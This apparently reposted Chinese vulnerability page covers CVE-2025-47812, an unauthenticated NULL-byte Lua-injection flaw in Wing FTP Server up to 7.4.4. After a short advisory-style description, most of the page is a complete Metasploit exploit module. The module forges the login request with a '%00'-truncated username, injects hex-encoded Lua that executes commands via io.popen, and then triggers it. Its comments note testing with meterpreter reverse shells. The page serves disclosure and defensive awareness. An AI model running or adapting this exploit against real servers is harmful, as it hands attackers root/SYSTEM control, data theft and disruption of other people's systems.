Wing FTP Server NULL-byte Authentication Bypass Vulnerability

漏洞信息

漏洞名称: Wing FTP Server NULL-byte Authentication Bypass Vulnerability

漏洞编号:

  • CVE: CVE-2025-47812

漏洞类型: 命令执行

漏洞等级: 严重

漏洞描述: Wing FTP Server是一款广泛使用的FTP服务器软件,支持多种操作系统平台,包括Unix、Linux和Windows,常用于企业文件传输服务。该软件因其易用性和功能强大而受到许多组织的青睐。

该漏洞(CVE-2025-47812)是一种通过NULL字节(%00)截断错误的Lua代码注入漏洞。攻击者可以通过在用户名字段中注入%00,利用C++认证例程仅验证前缀的特性,将未经过滤的完整字符串写入会话文件,随后以root/SYSTEM权限执行,从而实现远程代码执行。这种漏洞的根源在于输入验证不足,未能正确处理NULL字节,导致认证绕过和代码执行。

此漏洞的影响极为严重,攻击者无需认证即可利用此漏洞执行任意代码,可能导致服务器完全被控制、数据泄露或服务中断。由于漏洞利用过程可以自动化,且影响范围广泛,所有运行受影响版本(≤7.4.4)的Wing FTP Server都应立即升级到安全版本以防止潜在的攻击。

产品厂商: Wing FTP Server

产品名称: Wing FTP Server

影响版本: version ≤ 7.4.4

来源: https://github.com/rapid7/metasploit-framework/blob/7629dd751883a5d99c44701b8234a19b5e9ab926/modules%2Fexploits%2Fmulti%2Fhttp%2Fwingftp_null_byte_rce.rb

类型: rapid7/metasploit-framework:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wing FTP Server NULL-byte Authentication Bypass (CVE-2025-47812)',
'Description' => %q{
Wing FTP Server allows arbitrary Lua code injection via a NULL-byte (%00) truncation bug (CVE-2025-47812).
Supplying <valid-user>%00<lua-payload> as the username makes the C++ authentication routine validate only the prefix,
while the full string is written unfiltered into the session file and later executed with root/SYSTEM privileges,
leading to Remote Code Execution.
},
'Author' => [
'Valentin Lobstein', # Metasploit Module
'Julien Ahrens' # Vulnerability Discovery
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-47812'],
['URL', 'https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/']
],
'Platform' => %w[unix linux win],
'Arch' => [ARCH_CMD],
'Targets' => [
[
'Unix/Linux Command Shell', {
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command Shell', {
'Platform' => 'win',
'Arch' => ARCH_CMD
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
]
],
'DefaultTarget' => 0,
'Privileged' => true,
'DisclosureDate' => '2025-06-30',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options(
[
OptString.new('USERNAME', [ true, 'Valid username for authentication', 'anonymous' ]),
OptString.new('PASSWORD', [ false, 'Password for authentication', '' ])
]
)
end

def uid_cookie(res)
res&.get_cookies_parsed&.[]('UID')
end

def post_login(username, password)
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'loginok.html'),
'uri_encode_mode' => 'none',
'headers' => {
'Referer' => normalize_uri(target_uri.path, 'login.html') + '?lang=english'
},
'vars_post' => {
'username' => username,
'password' => password,
'username_val' => username.split('%00').first,
'password_val' => password
}
)
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login.html')
)
return CheckCode::Safe('Not a Wing FTP Web Client') unless res&.body&.include?('Wing FTP Server - Web Client')

if (ver_str = res.body[/Wing FTP Server v([\d.]+)/i, 1])
ver = Rex::Version.new(ver_str)
return ver < Rex::Version.new('7.4.4') ? CheckCode::Vulnerable("Detected version #{ver} ≤ 7.4.4") : CheckCode::Safe("Detected version #{ver} > 7.4.4")
end

suffix = Rex::Text.rand_text_alpha(8)
user = datastore['USERNAME']
pass = datastore['PASSWORD']

res2 = post_login("#{user}%00#{suffix}", pass)
return CheckCode::Unknown('No response') unless res2

if uid_cookie(res2)
CheckCode::Appears('UID cookie received')
else
CheckCode::Safe('UID cookie not found; not vulnerable')
end
end

def exploit
user = datastore['USERNAME']
pass = datastore['PASSWORD']
hex = payload.encoded.unpack('H*').first

lua = <<~LUA
]]
local function hx(s)#{' '}
return (s:gsub('..', function(x)#{' '}
return string.char(tonumber(x,16))#{' '}
end))#{' '}
end
local cmd = hx("#{hex}")
local h = io.popen(cmd)
h:close()
LUA

inj = "#{user}%00" + Rex::Text.uri_encode(lua).gsub('%0a', '%0d') + '--'

res = post_login(inj, pass)
fail_with(Failure::UnexpectedReply, 'Injection failed') unless res&.code == 200

uid = res.get_cookies_parsed.fetch('UID', nil)
fail_with(Failure::UnexpectedReply, 'UID cookie not returned') unless uid
print_good("Received UID: #{uid}, injection succeeded")

send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'dir.html'),
'headers' => { 'Cookie' => uid }
)
end
end



Wing FTP Server NULL-byte Authentication Bypass Vulnerability
http://example.com/2025/07/05/github_3462524481/
作者
lianccc
发布于
2025年7月5日
许可协议